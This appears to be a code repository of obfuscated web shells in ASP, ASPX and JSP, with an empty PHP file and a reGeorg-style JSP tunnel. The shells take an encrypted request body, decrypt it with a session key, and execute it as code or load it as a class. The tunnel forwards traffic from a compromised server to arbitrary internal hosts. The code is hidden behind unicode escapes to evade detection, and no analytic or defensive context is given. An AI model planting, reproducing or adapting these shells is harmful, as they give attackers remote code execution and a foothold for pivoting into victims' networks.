├── .gitattributes ├── shell.asp ├── shell.aspx ├── shell.jsp ├── shell.php └── tunnel.jsp /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /shell.asp: -------------------------------------------------------------------------------- 1 | <% 2 | function xx(str) 3 | str=replace(str,"\u","") 4 | xx="" 5 | dim i 6 | for i=1 to len(str) step 4 7 | xx=xx & ChrW(cint("&H" & mid(str,i,4))) 8 | next 9 | end function 10 | Response.CharSet = "UTF-8" 11 | If Request.ServerVariables("REQUEST_METHOD")="GET" And Request.QueryString("pass") Then 12 | For a=1 To 8 13 | RANDOMIZE 14 | k=Hex((255-17)*rnd+16)+k 15 | Next 16 | Session("k")=k 17 | response.write(k) 18 | Else 19 | k=Session("k") 20 | size=Request.TotalBytes 21 | content=Request.BinaryRead(size) 22 | For i=1 To size 23 | result=result&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1))) 24 | Next 25 | dim a(5) 26 | a(0)=xx("\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0072\u0065\u0073\u0075\u006c\u0074\u0029") 27 | eval(a(0)) 28 | End If 29 | %> -------------------------------------------------------------------------------- /shell.aspx: -------------------------------------------------------------------------------- 1 | <%@ Page Language="C#" %> 2 | <%@Import Namespace="\u0053\u0079\u0073\u0074\u0065\u006d.\u0052\u0065\u0066\u006c\u0065\u0063\u0074\u0069\u006f\u006e"%> 3 | <%if (\U00000052\U00000065\U00000071\U00000075\U00000065\U00000073\U00000074["\u0070\u0061\u0073\u0073"]!=null){ \u0053\u0065\u0073\u0073\u0069\u006f\u006e.\u0041\u0064\u0064("\u006b", Guid.NewGuid().ToString().\u0052\u0065\u0070\u006c\u0061\u0063\u0065("-", "").\u0053\u0075\u0062\u0073\u0074\u0072\u0069\u006e\u0067(16)); \u0052\u0065\u0073\u0070\u006f\u006e\u0073\u0065.Write(Session[0]); return;}byte[] k = \u0045\u006e\u0063\u006f\u0064\u0069\u006e\u0067.Default.GetBytes(Session[0] + ""),c = \u0052\u0065\u0071\u0075\u0065\u0073\u0074.\u0042\u0069\u006e\u0061\u0072\u0079\u0052\u0065\u0061\u0064(\u0052\u0065\u0071\u0075\u0065\u0073\u0074.\u0043\u006f\u006e\u0074\u0065\u006e\u0074\u004c\u0065\u006e\u0067\u0074\u0068);\u0041\u0073\u0073\u0065\u006d\u0062\u006c\u0079.\u004c\u006f\u0061\u0064(new \u0053\u0079\u0073\u0074\u0065\u006d.\u0053\u0065\u0063\u0075\u0072\u0069\u0074\u0079.\u0043\u0072\u0079\u0070\u0074\u006f\u0067\u0072\u0061\u0070\u0068\u0079.\u0052\u0069\u006a\u006e\u0064\u0061\u0065\u006c\u004d\u0061\u006e\u0061\u0067\u0065\u0064().\u0043\u0072\u0065\u0061\u0074\u0065\u0044\u0065\u0063\u0072\u0079\u0070\u0074\u006f\u0072(k, k).\u0054\u0072\u0061\u006e\u0073\u0066\u006f\u0072\u006d\u0046\u0069\u006e\u0061\u006c\u0042\u006c\u006f\u0063\u006b(c, 0, c.Length)).\u0043\u0072\u0065\u0061\u0074\u0065\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065("U").\u0045\u0071\u0075\u0061\u006c\u0073(this);%> -------------------------------------------------------------------------------- /shell.jsp: -------------------------------------------------------------------------------- 1 | <%@page import="\u006a\u0061\u0076\u0061.util.*,\u006a\u0061\u0076\u0061\u0078.\u0063\u0072\u0079\u0070\u0074\u006f.*,\u006a\u0061\u0076\u0061\u0078.\u0063\u0072\u0079\u0070\u0074\u006f.\u0073\u0070\u0065\u0063.*"%><%\u0063\u006c\u0061\u0073\u0073\u0020\u0055\u0020\u0065\u0078\u0074\u0065\u006e\u0064\u0073\u0020\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u007b\u0055\u0028\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0020\u0063\u0029\u007b\u0073\u0075\u0070\u0065\u0072\u0028\u0063\u0029\u003b\u007d\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0043\u006c\u0061\u0073\u0073\u0020\u0067\u0028\u0062\u0079\u0074\u0065\u0020\u005b\u005d\u0062\u0029\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0073\u0075\u0070\u0065\u0072\u002e\u0064\u0065\u0066\u0069\u006e\u0065\u0043\u006c\u0061\u0073\u0073\u0028\u0062\u002c\u0030\u002c\u0062\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u0029\u003b\u007d\u007d%> 2 | <%\u0069\u0066\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065r("pass"\u0029\u0021\u003d\u006e\u0075\u006c\u006c\u0029{\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u006b=\u0028""\u002b\u0055\u0055\u0049\u0044\u002e\u0072\u0061\u006e\u0064\u006f\u006d\u0055\u0055\u0049\u0044\u0028\u0029\u0029\u002e\u0072\u0065\u0070\u006c\u0061\u0063\u0065\u0028"-",""\u0029\u002e\u0073\u0075\u0062\u0073\u0074\u0072\u0069\u006e\u0067\u002816\u0029;\u0073\u0065\u0073\u0073\u0069\u006f\u006e\u002e\u0070\u0075\u0074\u0056\u0061\u006c\u0075\u0065\u0028"u",k\u0029\u003b\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u0028\u006b\u0029\u003b\u0072\u0065\u0074\u0075\u0072\u006e\u003b}\u0043\u0069\u0070\u0068\u0065\u0072\u0020\u0063\u003d\u0043\u0069\u0070\u0068\u0065\u0072\u002e\u0067\u0065\u0074\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028"AES"\u0029;\u0063\u002e\u0069\u006e\u0069\u0074\u00282,\u006e\u0065\u0077\u0020\u0053\u0065\u0063\u0072\u0065\u0074\u004b\u0065\u0079\u0053\u0070\u0065\u0063\u0028\u0028\u0073\u0065\u0073\u0073\u0069\u006f\u006e\u002e\u0067\u0065\u0074\u0056\u0061\u006c\u0075\u0065\u0028"u"\u0029\u002b""\u0029\u002e\u0067\u0065\u0074\u0042\u0079\u0074\u0065\u0073\u0028\u0029\u002c"AES"\u0029\u0029;\u006e\u0065\u0077\u0020\u0055\u0028\u0074\u0068\u0069\u0073\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0028\u0029\u0029\u002e\u0067\u0028\u0063\u002e\u0064\u006f\u0046\u0069\u006e\u0061\u006c\u0028\u006e\u0065\u0077\u0020\u0073\u0075\u006e\u002e\u006d\u0069\u0073\u0063\u002e\u0042\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072\u0028\u0029\u002e\u0064\u0065\u0063\u006f\u0064\u0065\u0042\u0075\u0066\u0066\u0065\u0072\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0052\u0065\u0061\u0064\u0065\u0072\u0028\u0029\u002e\u0072\u0065\u0061\u0064\u004c\u0069\u006e\u0065\u0028\u0029\u0029\u0029\u0029\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0070\u0061\u0067\u0065\u0043\u006f\u006e\u0074\u0065\u0078\u0074\u0029\u003b%> 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /shell.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tunnel.jsp: -------------------------------------------------------------------------------- 1 | <%@page import="\u006a\u0061\u0076\u0061\u002e\u006e\u0069\u006f\u002e\u0042\u0079\u0074\u0065\u0042\u0075\u0066\u0066\u0065\u0072, \u006a\u0061\u0076\u0061\u002e\u006e\u0065\u0074\u002e\u0049\u006e\u0065\u0074\u0053\u006f\u0063\u006b\u0065\u0074\u0041\u0064\u0064\u0072\u0065\u0073\u0073, \u006a\u0061\u0076\u0061\u002e\u006e\u0069\u006f\u002e\u0063\u0068\u0061\u006e\u006e\u0065\u006c\u0073\u002e\u0053\u006f\u0063\u006b\u0065\u0074\u0043\u0068\u0061\u006e\u006e\u0065\u006c, \u006a\u0061\u0076\u0061\u002e\u0075\u0074\u0069\u006c\u002e\u0041\u0072\u0072\u0061\u0079\u0073, \u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u0049\u004f\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e, \u006a\u0061\u0076\u0061\u002e\u006e\u0065\u0074\u002e\u0055\u006e\u006b\u006e\u006f\u0077\u006e\u0048\u006f\u0073\u0074\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e, \u006a\u0061\u0076\u0061\u002e\u006e\u0065\u0074\u002e\u0053\u006f\u0063\u006b\u0065\u0074" %><% 2 | \u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0063\u006d\u0064\u0020\u003d\u0020\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0048\u0065\u0061\u0064\u0065\u0072("X-CMD"); 3 | if (\u0063\u006d\u0064\u0020\u0021\u003d\u0020\u006e\u0075\u006c\u006c) { 4 | \u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u002e\u0073\u0065\u0074\u0048\u0065\u0061\u0064\u0065\u0072("X-STATUS", "OK"); 5 | if (\u0063\u006d\u0064\u002e\u0063\u006f\u006d\u0070\u0061\u0072\u0065\u0054\u006f("CONNECT") == 0) { 6 | try { 7 | \u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0074\u0061\u0072\u0067\u0065\u0074\u0020\u003d\u0020\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0048\u0065\u0061\u0064\u0065\u0072("X-TARGET"); 8 | int port = \u0049\u006e\u0074\u0065\u0067\u0065\u0072\u002e\u0070\u0061\u0072\u0073\u0065\u0049\u006e\u0074(\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0048\u0065\u0061\u0064\u0065\u0072("X-PORT")); 9 | \u0053\u006f\u0063\u006b\u0065\u0074\u0043\u0068\u0061\u006e\u006e\u0065\u006c\u0020\u0073\u006f\u0063\u006b\u0065\u0074\u0043\u0068\u0061\u006e\u006e\u0065\u006c = \u0053\u006f\u0063\u006b\u0065\u0074\u0043\u0068\u0061\u006e\u006e\u0065\u006c\u002e\u006f\u0070\u0065\u006e(); 10 | \u0073\u006f\u0063\u006b\u0065\u0074\u0043\u0068\u0061\u006e\u006e\u0065\u006c\u002e\u0063\u006f\u006e\u006e\u0065\u0063\u0074(new \u0049\u006e\u0065\u0074\u0053\u006f\u0063\u006b\u0065\u0074\u0041\u0064\u0064\u0072\u0065\u0073\u0073(target, port)); 11 | \u0073\u006f\u0063\u006b\u0065\u0074\u0043\u0068\u0061\u006e\u006e\u0065\u006c\u002e\u0063\u006f\u006e\u0066\u0069\u0067\u0075\u0072\u0065\u0042\u006c\u006f\u0063\u006b\u0069\u006e\u0067(false); 12 | \u0073\u0065\u0073\u0073\u0069\u006f\u006e\u002e\u0073\u0065\u0074\u0041\u0074\u0074\u0072\u0069\u0062\u0075\u0074\u0065("socket", \u0073\u006f\u0063\u006b\u0065\u0074\u0043\u0068\u0061\u006e\u006e\u0065\u006c); 13 | \u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u002e\u0073\u0065\u0074\u0048\u0065\u0061\u0064\u0065\u0072("X-STATUS", "OK"); 14 | } catch (\u0055\u006e\u006b\u006e\u006f\u0077\u006e\u0048\u006f\u0073\u0074\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e e) { 15 | \u0053\u0079\u0073\u0074\u0065\u006d\u002e\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u006c\u006e(\u0065\u002e\u0067\u0065\u0074\u004d\u0065\u0073\u0073\u0061\u0067\u0065()); 16 | \u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u002e\u0073\u0065\u0074\u0048\u0065\u0061\u0064\u0065\u0072("X-ERROR", \u0065\u002e\u0067\u0065\u0074\u004d\u0065\u0073\u0073\u0061\u0067\u0065()); 17 | \u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u002e\u0073\u0065\u0074\u0048\u0065\u0061\u0064\u0065\u0072("X-STATUS", "FAIL"); 18 | } catch (\u0049\u004f\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e e) { 19 | \u0053\u0079\u0073\u0074\u0065\u006d\u002e\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u006c\u006e(\u0065\u002e\u0067\u0065\u0074\u004d\u0065\u0073\u0073\u0061\u0067\u0065()); 20 | \u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u002e\u0073\u0065\u0074\u0048\u0065\u0061\u0064\u0065\u0072("X-ERROR", \u0065\u002e\u0067\u0065\u0074\u004d\u0065\u0073\u0073\u0061\u0067\u0065()); 21 | \u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u002e\u0073\u0065\u0074\u0048\u0065\u0061\u0064\u0065\u0072("X-STATUS", "FAIL"); 22 | 23 | } 24 | } else if (\u0063\u006d\u0064\u002e\u0063\u006f\u006d\u0070\u0061\u0072\u0065\u0054\u006f("DISCONNECT") == 0) { 25 | \u0053\u006f\u0063\u006b\u0065\u0074\u0043\u0068\u0061\u006e\u006e\u0065\u006c\u0020\u0073\u006f\u0063\u006b\u0065\u0074\u0043\u0068\u0061\u006e\u006e\u0065\u006c = (SocketChannel)\u0073\u0065\u0073\u0073\u0069\u006f\u006e\u002e\u0067\u0065\u0074\u0041\u0074\u0074\u0072\u0069\u0062\u0075\u0074\u0065("socket"); 26 | try{ 27 | \u0073\u006f\u0063\u006b\u0065\u0074\u0043\u0068\u0061\u006e\u006e\u0065\u006c\u002e\u0073\u006f\u0063\u006b\u0065\u0074().close(); 28 | } catch (\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e ex) { 29 | \u0053\u0079\u0073\u0074\u0065\u006d\u002e\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u006c\u006e(\u0065\u0078\u002e\u0067\u0065\u0074\u004d\u0065\u0073\u0073\u0061\u0067\u0065()); 30 | } 31 | \u0073\u0065\u0073\u0073\u0069\u006f\u006e\u002e\u0069\u006e\u0076\u0061\u006c\u0069\u0064\u0061\u0074\u0065(); 32 | } else if (\u0063\u006d\u0064\u002e\u0063\u006f\u006d\u0070\u0061\u0072\u0065\u0054\u006f("READ") == 0){ 33 | \u0053\u006f\u0063\u006b\u0065\u0074\u0043\u0068\u0061\u006e\u006e\u0065\u006c\u0020\u0073\u006f\u0063\u006b\u0065\u0074\u0043\u0068\u0061\u006e\u006e\u0065\u006c= (SocketChannel)\u0073\u0065\u0073\u0073\u0069\u006f\u006e\u002e\u0067\u0065\u0074\u0041\u0074\u0074\u0072\u0069\u0062\u0075\u0074\u0065("socket"); 34 | try { 35 | \u0042\u0079\u0074\u0065\u0042\u0075\u0066\u0066\u0065\u0072\u0020\u0062\u0075\u0066\u0020\u003d\u0020\u0042\u0079\u0074\u0065\u0042\u0075\u0066\u0066\u0065\u0072\u002e\u0061\u006c\u006c\u006f\u0063\u0061\u0074\u0065(512); 36 | \u0069\u006e\u0074\u0020\u0062\u0079\u0074\u0065\u0073\u0052\u0065\u0061\u0064\u0020\u003d\u0020\u0073\u006f\u0063\u006b\u0065\u0074\u0043\u0068\u0061\u006e\u006e\u0065\u006c\u002e\u0072\u0065\u0061\u0064(buf); 37 | \u0053\u0065\u0072\u0076\u006c\u0065\u0074\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u0073\u006f\u0020\u003d\u0020\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u002e\u0067\u0065\u0074\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d(); 38 | while (\u0062\u0079\u0074\u0065\u0073\u0052\u0065\u0061\u0064 > 0){ 39 | \u0073\u006f\u002e\u0077\u0072\u0069\u0074\u0065(\u0062\u0075\u0066\u002e\u0061\u0072\u0072\u0061\u0079(),0,\u0062\u0079\u0074\u0065\u0073\u0052\u0065\u0061\u0064); 40 | \u0073\u006f\u002e\u0066\u006c\u0075\u0073\u0068(); 41 | \u0062\u0075\u0066\u002e\u0063\u006c\u0065\u0061\u0072(); 42 | \u0062\u0079\u0074\u0065\u0073\u0052\u0065\u0061\u0064\u0020\u003d\u0020\u0073\u006f\u0063\u006b\u0065\u0074\u0043\u0068\u0061\u006e\u006e\u0065\u006c\u002e\u0072\u0065\u0061\u0064(buf); 43 | } 44 | \u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u002e\u0073\u0065\u0074\u0048\u0065\u0061\u0064\u0065\u0072("X-STATUS", "OK"); 45 | \u0073\u006f\u002e\u0066\u006c\u0075\u0073\u0068(); 46 | \u0073\u006f\u002e\u0063\u006c\u006f\u0073\u0065(); 47 | 48 | } catch (\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e e) { 49 | \u0053\u0079\u0073\u0074\u0065\u006d\u002e\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u006c\u006e(\u0065\u002e\u0067\u0065\u0074\u004d\u0065\u0073\u0073\u0061\u0067\u0065()); 50 | \u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u002e\u0073\u0065\u0074\u0048\u0065\u0061\u0064\u0065\u0072("X-ERROR", \u0065\u002e\u0067\u0065\u0074\u004d\u0065\u0073\u0073\u0061\u0067\u0065()); 51 | \u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u002e\u0073\u0065\u0074\u0048\u0065\u0061\u0064\u0065\u0072("X-STATUS", "FAIL"); 52 | } 53 | 54 | } else if (\u0063\u006d\u0064\u002e\u0063\u006f\u006d\u0070\u0061\u0072\u0065\u0054\u006f("FORWARD") == 0){ 55 | \u0053\u006f\u0063\u006b\u0065\u0074\u0043\u0068\u0061\u006e\u006e\u0065\u006c\u0020\u0073\u006f\u0063\u006b\u0065\u0074\u0043\u0068\u0061\u006e\u006e\u0065\u006c= (SocketChannel)\u0073\u0065\u0073\u0073\u0069\u006f\u006e\u002e\u0067\u0065\u0074\u0041\u0074\u0074\u0072\u0069\u0062\u0075\u0074\u0065("socket"); 56 | try { 57 | 58 | \u0069\u006e\u0074\u0020\u0072\u0065\u0061\u0064\u006c\u0065\u006e\u0020\u003d\u0020\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0043\u006f\u006e\u0074\u0065\u006e\u0074\u004c\u0065\u006e\u0067\u0074\u0068(); 59 | byte[] buff = new byte[readlen]; 60 | 61 | \u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d().read(buff, 0, readlen); 62 | \u0042\u0079\u0074\u0065\u0042\u0075\u0066\u0066\u0065\u0072\u0020\u0062\u0075\u0066\u0020\u003d\u0020\u0042\u0079\u0074\u0065\u0042\u0075\u0066\u0066\u0065\u0072\u002e\u0061\u006c\u006c\u006f\u0063\u0061\u0074\u0065(readlen); 63 | \u0062\u0075\u0066\u002e\u0063\u006c\u0065\u0061\u0072(); 64 | \u0062\u0075\u0066\u002e\u0070\u0075\u0074(buff); 65 | \u0062\u0075\u0066\u002e\u0066\u006c\u0069\u0070(); 66 | 67 | while(\u0062\u0075\u0066\u002e\u0068\u0061\u0073\u0052\u0065\u006d\u0061\u0069\u006e\u0069\u006e\u0067()) { 68 | \u0073\u006f\u0063\u006b\u0065\u0074\u0043\u0068\u0061\u006e\u006e\u0065\u006c\u002e\u0077\u0072\u0069\u0074\u0065(buf); 69 | } 70 | \u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u002e\u0073\u0065\u0074\u0048\u0065\u0061\u0064\u0065\u0072("X-STATUS", "OK"); 71 | 72 | } catch (\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e e) { 73 | \u0053\u0079\u0073\u0074\u0065\u006d\u002e\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u006c\u006e(\u0065\u002e\u0067\u0065\u0074\u004d\u0065\u0073\u0073\u0061\u0067\u0065()); 74 | \u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u002e\u0073\u0065\u0074\u0048\u0065\u0061\u0064\u0065\u0072("X-ERROR", \u0065\u002e\u0067\u0065\u0074\u004d\u0065\u0073\u0073\u0061\u0067\u0065()); 75 | \u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u002e\u0073\u0065\u0074\u0048\u0065\u0061\u0064\u0065\u0072("X-STATUS", "FAIL"); 76 | \u0073\u006f\u0063\u006b\u0065\u0074\u0043\u0068\u0061\u006e\u006e\u0065\u006c\u002e\u0073\u006f\u0063\u006b\u0065\u0074().close(); 77 | } 78 | } 79 | } else { 80 | \u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074("Georg says, 'All seems fine'"); 81 | } 82 | %> 83 | --------------------------------------------------------------------------------